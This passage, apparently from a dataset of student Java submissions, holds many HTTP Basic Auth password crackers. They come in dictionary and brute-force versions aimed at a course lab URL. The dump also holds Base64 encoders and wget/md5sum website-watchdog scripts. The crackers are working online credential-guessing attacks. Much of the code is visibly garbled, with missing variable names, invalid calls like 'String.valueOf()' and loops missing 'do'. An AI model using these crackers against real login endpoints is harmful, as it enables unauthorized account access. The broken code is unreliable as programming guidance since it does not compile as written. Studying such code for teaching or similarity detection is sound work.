(data != null); } catch (IOException e) { } } public void displayPassword(String foundPassword) { System.out.println(""\nThe cracked password is : "" + foundPassword); System.exit(0); } } ",133.java," import java.net.*; import java.io.*; public class Dictionary { private String myUsername = """"; private String myPassword = """"; private String urlToCrack = ""http://sec-crack.cs.rmit.edu./SEC/2""; public static void main (String args[]) { Dictionary d = new Dictionary(); } public Dictionary() { generatePassword(); } public void generatePassword() { try { BufferedReader = new BufferedReader(new FileReader(""/usr/share/lib/dict/words"")); { myPassword = bf.readLine(); crackPassword(myPassword); } while (myPassword != null); } catch(IOException e) { } } public void crackPassword(String passwordToCrack) { String data, dataToEncode, encodedData; try { URL url = new URL (urlToCrack); dataToEncode = myUsername + "":"" + passwordToCrack; encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes()); URLConnection urlCon = url.openConnection(); urlCon.setRequestProperty (""Authorization"", "" "" + encodedData); InputStream is = (InputStream)urlCon.getInputStream(); InputStreamReader isr = new InputStreamReader(is); BufferedReader bf = new BufferedReader (isr); { data = bf.readLine(); System.out.println(data); displayPassword(passwordToCrack); } while (data != null); } catch (IOException e) { } } public void displayPassword(String foundPassword) { System.out.println(""\nThe cracked password is : "" + foundPassword); System.exit(0); } } " 136.java," import java.util.*; import java.io.*; import java.net.*; public class MyWatchDogTimer extends TimerTask { public void run() { Runtime rt = Runtime.getRuntime(); Process prss= null; String initialmd5,presentmd5,finalmd5,temp1; String mesg1 = new String(); String subject = new String(""Report of WatchDog""); int i; try { prss = rt.exec(""md5sum first.html""); InputStreamReader instre1 = new InputStreamReader(prss.getInputStream()); BufferedReader bufread1 = new BufferedReader(instre1); sw = bufread1.readLine(); i = finalmd5.indexOf(' '); initialmd5 = finalmd5.substring(0,i); System.out.println(""this is of first.html--->""+initialmd5); prss = rt.exec(""wget -R mpg,mpeg, --output-document=present.html http://www.cs.rmit.edu./students/""); prss = rt.exec(""md5sum present.html""); InputStreamReader instre2 = new InputStreamReader(prss.getInputStream()); BufferedReader bufread2 = new BufferedReader(instre2); temp1 = bufread2.readLine(); i = temp1.indexOf(' '); presentmd5 = temp1.substring(0,i); System.out.println(""this is of present.html---->""+presentmd5); if(initialmd5.equals(presentmd5)) System.out.println(""The checksum found using md5sum is same""); else { prss = rt.exec(""diff first.html present.html > diff.html""); System.out.println("" is different""); prss = null; mesg1 =""php mail.php""; prss = rt.exec(mesg1); } prss = rt.exec(""rm present.*""); }catch(java.io.IOException e){} } } ",173.java," import java.util.*; import java.io.*; import java.net.*; public class Watchdog extends TimerTask { public void run() { Runtime t = Runtime.getRuntime(); Process pr= null; String Fmd5,Smd5,temp1; int index; try { pr = t.exec(""md5sum csfirst.html""); InputStreamReader stre = new InputStreamReader(pr.getInputStream()); BufferedReader bread = new BufferedReader(stre); s = bread.readLine(); index = s.indexOf(' '); Fmd5 = s.substring(0,index); System.out.println(Fmd5); pr = null; pr = t.exec(""wget http://www.cs.rmit.edu./students/""); pr = null; pr = t.exec(""md5sum index.html""); InputStreamReader stre1 = new InputStreamReader(pr.getInputStream()); BufferedReader bread1 = new BufferedReader(stre1); temp1 = bread1.readLine(); index = temp1.indexOf(' '); Smd5 = temp1.substring(0,index); System.out.println(Smd5); pr = null; if(Fmd5 == Smd5) System.out.println("" changes Detected""); else { pr = t.exec(""diff csfirst.html index.html > report.html""); pr = null; try{ Thread.sleep(10000); }catch(Exception e){} pr = t.exec("" Message.txt | mutt -s Chnages Webpage -a report.html -x @yallara.cs.rmit.edu.""); } }catch(java.io.IOException e){} } } " 174.java," import java.util.*; import java.io.*; public class MyTimer { public static void main(String args[]) { Watchdog watch = new Watchdog(); Timer time = new Timer(); time.schedule(watch,864000000,864000000); } } ",135.java," import java.util.*; import java.io.*; public class WatchDog { public static void main(String args[]) { Runtime rt1 = Runtime.getRuntime(); Process prss1= null; try { prss1 = rt1.exec(""wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/""); }catch(java.io.IOException e){} MyWatchDogTimer w = new MyWatchDogTimer(); Timer time = new Timer(); time.schedule(w,864000000,864000000); } } " 090.java,"import java.io.*; import java.net.*; import java.security.*; import java.math.*; import java.*; import java.util.*; public class Dictionary { public static void main (String args[]) throws Exception { Socket socket = null; DataOutputStream = null; BufferedReader bf = null, fr = null; String retVal = null, StatusCode = ""HTTP/1.1 200 OK""; int found = 0, count = 0; String testpasswd; try { File inputFile = new File(""words""); fr = new BufferedReader(new FileReader(inputFile)); } catch (IOException ex) { ex.printStackTrace(); } stime = System.currentTimeMillis(); System.out.println(""Cracking password by Dictionary...""); while (((testpasswd = fr.readLine()) != null) && (found == 0)) { try { URL yahoo = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); URLConnection yc = yahoo.openConnection(); String authString = "":"" + testpasswd; String auth = new bf.misc.BASE64Encoder().encode(authString.getBytes()); yc.setRequestProperty(""Authorization"", "" "" + auth); count++; BufferedReader in = new BufferedReader( new InputStreamReader( yc.getInputStream())); String inputLine; while ((inputLine = in.readLine()) != null){ System.out.println(inputLine); etime = System.currentTimeMillis(); System.out.println(""Password found -- "" + testpasswd); System.out.println(""Time used = "" + ((etime - stime)/1000) + "" sec""); System.out.println(""# of attempt = "" + count); System.out.println(""End of cracking!""); found = 1; } in.print(); } catch (Exception ex) {} } fr.close(); if (found == 0) { System.out.println(""Sorry, password found.""); System.out.println(""# of attempt = "" + count); System.out.println(""End of cracking!""); } } }",089.java,"import java.io.*; import java.net.*; import java.security.*; import java.math.*; import java.*; import java.util.*; public class BruteForce { public static void main (String args[]) throws Exception { String retVal = null, StatusCode = ""HTTP/1.1 200 OK""; int found = 0, count = 0, ctrl = 0, flag = 0; stime = System.currentTimeMillis(); char[] c = new char[3]; System.out.println(""Cracking password by Brute Force...""); for(int i=65; ((i<123) && (found == 0)); i++) { for(int j=65; ((j<123) && (found == 0)); j++) { for (int k=65; ((k<123) && (found == 0)); k++) { try { if (ctrl == 0) { c[0] = '\0'; c[1] = '\0'; } else if ((ctrl == 1) && (flag == 0)) { c[0] = '\0'; } c[2] = (char)(k); URL yahoo = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); URLConnection yc = yahoo.openConnection(); String authString = "":"" + String.valueOf(); String auth = new bf.misc.BASE64Encoder().encode(authString.getBytes()); yc.setRequestProperty(""Authorization"", "" "" + auth); count++; BufferedReader in = new BufferedReader( new InputStreamReader( yc.getInputStream())); String inputLine; while ((inputLine = in.readLine()) != null){ System.out.println(inputLine); etime = System.currentTimeMillis(); System.out.println(""Password found -- "" + String.valueOf()); System.out.println(""Time used = "" + ((etime - stime)/1000) + "" sec""); System.out.println(""# of attempt = "" + count); System.out.println(""End of cracking!""); found = 1; } in.print(); } catch (Exception ex) {} } ctrl = 1; c[1] = (char)(j); } ctrl = 2; flag = 1; c[0] = (char)(i); } if (found == 0){ System.out.println(""Sorry, password found.""); System.out.println(""# of attempt = "" + count); System.out.println(""End of cracking!""); } } }" 159.java," class BasicAuth { public BasicAuth() {} private static byte[] cvtTable = { (byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E', (byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J', (byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O', (byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T', (byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y', (byte)'Z', (byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e', (byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j', (byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o', (byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t', (byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y', (byte)'z', (byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4', (byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9', (byte)'+', (byte)'/' }; static String encode(String name, String passwd) { byte input[] = (name + "":"" + passwd).getBytes(); byte[] output = new byte[((input.length / 3) + 1) * 4]; int ridx = 0; int chunk = 0; for (int i = 0; i < input.length; i += 3) { int left = input.length - i; if (left > 2) { chunk = (input[i] << 16)| (input[i + 1] << 8) | input[i + 2]; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = cvtTable[(chunk&0x3F)]; } else if (left == 2) { chunk = (input[i] << 16) | (input[i + 1] << 8); output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = '='; } else { chunk = input[i] << 16; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = '='; output[ridx++] = '='; } } return new String(output); } }",059.java," public class Base64Converter { public static final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode ( String s ) { return encode ( s.getBytes ( ) ); } public static String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } " 159.java," class BasicAuth { public BasicAuth() {} private static byte[] cvtTable = { (byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E', (byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J', (byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O', (byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T', (byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y', (byte)'Z', (byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e', (byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j', (byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o', (byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t', (byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y', (byte)'z', (byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4', (byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9', (byte)'+', (byte)'/' }; static String encode(String name, String passwd) { byte input[] = (name + "":"" + passwd).getBytes(); byte[] output = new byte[((input.length / 3) + 1) * 4]; int ridx = 0; int chunk = 0; for (int i = 0; i < input.length; i += 3) { int left = input.length - i; if (left > 2) { chunk = (input[i] << 16)| (input[i + 1] << 8) | input[i + 2]; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = cvtTable[(chunk&0x3F)]; } else if (left == 2) { chunk = (input[i] << 16) | (input[i + 1] << 8); output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = '='; } else { chunk = input[i] << 16; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = '='; output[ridx++] = '='; } } return new String(output); } }",250.java," class C { private static byte[] cvtTable = { (byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E', (byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J', (byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O', (byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T', (byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y', (byte)'Z', (byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e', (byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j', (byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o', (byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t', (byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y', (byte)'z', (byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4', (byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9', (byte)'+', (byte)'/' }; static String encode(String name, String passwd) { byte input[] = (name + "":"" + passwd).getBytes(); byte[] output = new byte[((input.length / 3) + 1) * 4]; int ridx = 0; int chunk = 0; for (int i = 0; i < input.length; i += 3) { int left = input.length - i; if (left > 2) { chunk = (input[i] << 16)| (input[i + 1] << 8) | input[i + 2]; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = cvtTable[(chunk&0x3F)]; } else if (left == 2) { chunk = (input[i] << 16) | (input[i + 1] << 8); output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = '='; } else { chunk = input[i] << 16; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = '='; output[ridx++] = '='; } } return new String(output); } }" 161.java," import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL (""http://sec-crack.cs.rmit.edu./SEC/2/""); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader(""words"")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("""",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty(""Host"",""sec-crack.cs.rmit.edu.""); connect.setRequestProperty(""Get"",""/SEC/2/ HTTP/1.1""); connect.setRequestProperty(""Authorization"","" "" + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase(""HTTP/1.1 200 OK"")) { System.out.println(""Password is "" + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println(""Time Taken = "" + (diff/1000) + "" secs""); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println("" match found""); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println(""Unable Open URL"" + malerr); } catch (Exception ioerr) { System.err.println(""Unable open file"" + ioerr); } } }",158.java," import java.net.*; import java.io.*; public class BruteForce { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL (""http://sec-crack.cs.rmit.edu./SEC/2/""); start =System.currentTimeMillis(); DataInputStream dis ; for (i=0;i<=58;i++) { for (j=0;j<=58;j++) { for (k=1;k<=58;k++) { if (i !=0) { pass = """" + (char)(k+64) + (char)(j+65) + (char)(i+64); if ((i+64) >=91 && (i+64) <=96) break; if ((j+65) >=91 && (j+65) <=96) break; if ((k+64) >=91 && (k+64) <=96) continue; UserPass= auth.encode("""",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty(""Host"",""sec-crack.cs.rmit.edu.""); connect.setRequestProperty(""Get"",""/SEC/2/ HTTP/1.1""); connect.setRequestProperty(""Authorization"","" "" + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase(""HTTP/1.1 200 OK"")) { System.out.println(""Password is "" + pass); end=System.currentTimeMillis(); diff= end - start; System.out.println(""Time Taken = "" + (diff/1000) + "" sec"" ); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } } } } System.out.println("" match found""); connect = null; } catch (MalformedURLException malerr) { System.err.println(""Unable Open URL"" + malerr); } catch (Exception ioerr) { System.err.println(""Unable retrive URL"" + ioerr); } } }" 182.java,"import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( ""usage: Dictionary ""); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println(""password="" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } } ",181.java,"import java.net.*; import java.io.*; public class BruteForce extends Authenticator { private String username; private URL url; private char [] nextPassword; private char [] thisPassword; public static void main(String [] args) { if(args.length!=2) { System.err.println(""usage: BruteForce ""); System.exit(1); } BruteForce bf = null; try { bf = new BruteForce(args[0], args[1]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } bf.work(); System.exit(0); } public BruteForce(String url, String username) throws MalformedURLException { this.url = new URL(url); this.username = username; this.nextPassword = new char [] {'a'}; } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && nextPassword!=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e) { e.printStackTrace(); System.exit(1); } System.out.println(""password="" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { createNextPassword(); return new PasswordAuthentication(username, thisPassword); } public void createNextPassword() { int i; if(thisPassword==null) { thisPassword = new char [] {'A', 'A', 'A'}; nextPassword = new char [] {'A', 'A', 'B'}; return; } thisPassword = nextPassword; if(nextPassword[2]=='Z') { nextPassword[2]='a'; return; } else if(nextPassword[2]!='z') { i = (int) nextPassword[2]; nextPassword[2]=(char) ++i; } else { nextPassword[2]='A'; if(nextPassword[1]=='Z') { nextPassword[1]='a'; } else if(nextPassword[1]!='z') { i = (int) nextPassword[1]; nextPassword[1]=(char) ++i; } else { nextPassword[1]='A'; if(nextPassword[0]=='Z') { nextPassword[0]='a'; } else if(nextPassword[0]!='z') { i = (int) nextPassword[0]; nextPassword[0]=(char) ++i; } else { nextPassword = null; } } } } } " 042.java,"import java.net.*; import java.io.*; public class BruteForce { private String strUserName; private String strURL; private int iAttempts; public BruteForce(String strURL,String strUserName) { this.strURL = strURL; this.strUserName = strUserName; this.iAttempts = 0 ; } public String getPassword(){ URL u; String result =""""; PassGenBrute PG = new PassGenBrute(3); URLConnection uc; String strPassword = new String(); String strEncode; try{ while (result.compareTo(""HTTP/1.1 200 OK"")!=0){ strEncode = PG.getNewPassword(); u = new URL(strURL); uc = u.openConnection(); uc.setDoInput(true); uc.setDoOutput(true); strPassword = strEncode; strEncode = strUserName + "":"" + strEncode; strEncode = new String(Base64.encode(strEncode.getBytes())); uc.setRequestProperty(""Authorization"","" "" + strEncode); result = uc.getHeaderField(0); uc = null; u = null; iAttempts++; } } catch (Exception me) { System.out.println(""MalformedURLException: ""+me); } return(strPassword); } public int getAttempts(){ return (iAttempts); }; public static void main (String arg[]){ timeStart = 0; timeEnd = 0; if (arg.length == 2) { BruteForce BF = new BruteForce(arg[0],arg[1]); System.out.println(""Processing ... ""); timeStart = System.currentTimeMillis(); System.out.println(""Password = "" + BF.getPassword()); timeEnd = System.currentTimeMillis(); System.out.println(""Total Time Taken = "" + (timeEnd - timeStart) + "" (msec)""); System.out.println(""Total Attempts = "" + BF.getAttempts()); } else { System.out.println(""[Usage] java BruteForce ""); } } } class PassGenBrute { private char[] password; public PassGenBrute(int lenght) { password = new char[lenght]; for (int i = 0; i < lenght; i++){ password[i] = 65; } password[0]--; } public String getNewPassword() throws PasswordFailureException{ password[0]++; try { for (int i=0; i 122) { password[i] = 65; password[i+1]++; } } } catch (RuntimeException re){ throw new PasswordFailureException (); } return new String(password); } } class PasswordFailureException extends RuntimeException { public PasswordFailureException() { } }",044.java,"import java.net.*; import java.io.*; public class Dictionary { private String strUserName; private String strURL; private String strDictPath; private int iAttempts; public Dictionary(String strURL,String strUserName,String strDictPath) { this.strURL = strURL; this.strUserName = strUserName; this.iAttempts = 0 ; this.strDictPath = strDictPath; } public String getPassword(){ URL u; String result =""""; PassGenDict PG = new PassGenDict(3,strDictPath); URLConnection uc; String strPassword = new String(); String strEncode; try{ while (result.compareTo(""HTTP/1.1 200 OK"")!=0){ strEncode = PG.getNewPassword(); u = new URL(strURL); uc = u.openConnection(); uc.setDoInput(true); uc.setDoOutput(true); strPassword = strEncode; strEncode = strUserName + "":"" + strEncode; strEncode = new String(Base64.encode(strEncode.getBytes())); uc.setRequestProperty(""Authorization"","" "" + strEncode); result = uc.getHeaderField(0); uc = null; u = null; iAttempts++; } } catch (Exception me) { System.out.println(""MalformedURLException: ""+me); } return(strPassword); } public int getAttempts(){ return (iAttempts); }; public static void main(String arg[]){ timeStart = 0; timeEnd = 0; if (arg.length == 3) { Dictionary BF = new Dictionary(arg[0],arg[1],arg[2]); System.out.println(""Processing ... ""); timeStart = System.currentTimeMillis(); System.out.println(""Password = "" + BF.getPassword()); timeEnd = System.currentTimeMillis(); System.out.println(""Total Time Taken = "" + (timeEnd - timeStart) + "" (msec)""); System.out.println(""Total Attempts = "" + BF.getAttempts()); } else { System.out.println(""[Usage] java BruteForce ""); } } } class PassGenDict { private char[] password; private String line; int iPassLenght; private BufferedReader inputFile; public PassGenDict(int lenght, String strDictPath) { try{ inputFile = new BufferedReader(new FileReader(strDictPath)); } catch (Exception e){ } iPassLenght = lenght; } public String getNewPassword() throws PasswordFailureException{ try { { line = inputFile.readLine(); }while (line.length() != iPassLenght); } catch (Exception e){ throw new PasswordFailureException (); } return (line); } } class PasswordFailureException extends RuntimeException { public PasswordFailureException() { } }" 153.java,"import java.io.*; import java.net.*; public class BruteForce { public static void main(String[] args) { BruteForce brute=new BruteForce(); brute.start(); } public void start() { char passwd[]= new char[3]; String password; String username=""""; String auth_data; String server_res_code; String required_server_res_code=""200""; int cntr=0; try { URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); URLConnection conn=null; for (int i=65;i<=122;i++) { if(i==91) { i=i+6; } passwd[0]= (char) i; for (int j=65;j<=122;j++) { if(j==91) { j=j+6; } passwd[1]=(char) j; for (int k=65;k<=122;k++) { if(k==91) { k=k+6; } passwd[2]=(char) k; password=new String(passwd); password=password.trim(); auth_data=null; auth_data=username + "":"" + password; auth_data=auth_data.trim(); auth_data=getBasicAuthData(auth_data); auth_data=auth_data.trim(); conn=url.openConnection(); conn.setDoInput (true); conn.setDoOutput(true); conn.setRequestProperty(""GET"", ""/SEC/2/ HTTP/1.1""); conn.setRequestProperty (""Authorization"", auth_data); server_res_code=conn.getHeaderField(0); server_res_code=server_res_code.substring(9,12); server_res_code.trim(); cntr++; System.out.println(cntr + "" . "" + ""PASSWORD SEND : "" + password + "" SERVER RESPONSE : "" + server_res_code); if( server_res_code.compareTo(required_server_res_code)==0 ) {System.out.println(""PASSWORD IS : "" + password + "" SERVER RESPONSE : "" + server_res_code ); i=j=k=123;} } } } } catch (Exception e) { System.err.print(e); } } public String getBasicAuthData (String getauthdata) { char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' } ; String encodedString = """"; byte bytes [] = getauthdata.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return "" "" + encodedString; } }",155.java,"import java.io.*; import java.net.*; public class Dictionary{ public static void main( String[] args ){ Dictionary dict= new Dictionary(); dict.create(); } public void dsf(){ String password; String auth_data; String username=""""; String server_res_code; String required_server_res_code=""200""; int cntr=0; try{ URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); URLConnection conn=null; String fileName = ""/usr/share/lib/dict/words""; fileName=fileName.trim(); FileReader fr = new FileReader(fileName); BufferedReader inputfile = new BufferedReader(fr); while( (password=inputfile.readLine()) != null ){ password = password.trim(); auth_data=null; auth_data=username + "":"" + password; auth_data=auth_data.trim(); auth_data=getBasicAuthData(auth_data); auth_data=auth_data.trim(); conn=url.openConnection(); conn.setDoInput (true); conn.setDoOutput(true); conn.setRequestProperty(""GET"", ""/SEC/2/ HTTP/1.1""); conn.setRequestProperty (""Authorization"", auth_data); server_res_code=conn.getHeaderField(0); server_res_code=server_res_code.substring(9,12); server_res_code.trim(); cntr++; if( server_res_code.compareTo(required_server_res_code)!=0) System.out.println(cntr + "" . "" + ""PASSWORD SEND : "" + password + "" SERVER RESPONSE : "" + server_res_code); else { System.out.println(cntr + "" . "" + ""PASSWORD IS: "" + password + "" SERVER RESPONSE : "" + server_res_code); break;} } } catch( Exception e){ System.err.println(e); } } public String getBasicAuthData (String getauthdata) { char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' } ; String encodedString = """"; byte bytes [] = getauthdata.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 